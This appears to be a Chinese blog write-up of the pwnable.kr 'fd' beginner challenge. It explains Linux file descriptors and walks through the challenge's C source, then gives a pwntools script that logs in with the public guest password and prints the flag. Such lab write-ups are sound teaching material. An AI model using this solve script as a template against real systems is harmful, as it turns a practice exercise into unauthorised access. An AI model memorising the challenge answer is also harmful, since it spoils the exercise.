pwnable.kr fd - 1 pt [writeup]

原创

普通网友 于 2019-07-24 11:49:49 发布 630 收藏

分类专栏： 你们的pwn 文章标签： pwn pwntools CTF pwnable fd


```
Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)
```

首先按照提示，用ssh登录上服务器，然后查看文件：

```
Last login: Wed Jul 24 10:08:38 on console
➜  ~ ssh fd@pwnable.kr -p 2222
Warning: Permanently added the ED25519 host key for IP address '[128.61.240.205]:2222' to the list of known host
s.
fd@pwnable.kr's password:
 ____  __    __  ____    ____  ____   _        ___      __  _  ____
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    /
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_ __ |     \|    \
|  |   \     / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|

- Site admin : daehee87.kr@gmail.com
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
Last login: Tue Jul 23 23:28:48 2019 from 116.233.190.55
fd@prowl:~$ ls
fd  fd.c  flag
fd@prowl:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
 if(argc<2){
  printf("pass argv[1] a number\n");
  return 0;
 }
 int fd = atoi( argv[1] ) - 0x1234;
 int len = 0;
 len = read(fd, buf, 32);
 if(!strcmp("LETMEWIN\n", buf)){
  printf("good job :)\n");
  system("/bin/cat flag");
  exit(0);
 }
 printf("learn about Linux file IO\n");
 return 0;

}

fd@prowl:~$
```

很容易就看出来的逻辑，但是这里有个知识点，不知道的话这题没法做。
对于read()函数的三个参数需要查一下详细解释，来自百度百科：read是一个计算机函数，可以用来从文件中读取内容。read()会把参数fd 所指的文件传送count个字节到buf指针所指的内存中。若参数count为0，则read为实际读取到的字节数，如果返回0，表示已到达文件尾或是无可读取的数据，此外文件读写位置会随读取到的字节移动。

可以看到，**辣鸡百度并没有告诉你fd参数是什么东西， 如何取值，所以百度是没有用的！**

这里我们不禁要问一句 **what's your problem?**

fd其实是文件描述符file descriptor的缩写，其中 0、1、2分别代表标准输入、标准输出和标准错误。所以这里就知道了，fd应该设置为0。也就是说

```
int fd = atoi( argv[1] ) - 0x1234 //要为0
```

atoi (表示 ascii to integer)是把字符串转换成整型数的一个函数。所以这里需要输入一个等于0x1234的十进制的数，也就是4660

而继续向下看：

```
if(!strcmp("LETMEWIN\n", buf))
```

这里strcmp函数是string compare(字符串比较)的缩写，用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2)，若str1=str2，则返回零；若str1<str2，则返回负数；若str1>str2，则返回正数。

所以!strcmp相当于strcmp(s1, s2)==0

所以buf要等于”LETMEWIN\n”，也就是输入”LETMEWIN”加回车，得到flag。

于是payload就很好写了：

```
#!/usr/bin/python

from pwn import *

s = ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
p = s.process(['fd', '4660'], './fd')
p.sendline('LETMEWIN')
print p.recv()
```

运行结果：

```
➜  pwn /usr/local/bin/python /Users/youssef/Desktop/pwn/passcode.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] fd@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process './fd' on pwnable.kr: pid 73531
good job :)
mommy! I think I know what a file descriptor is!!
```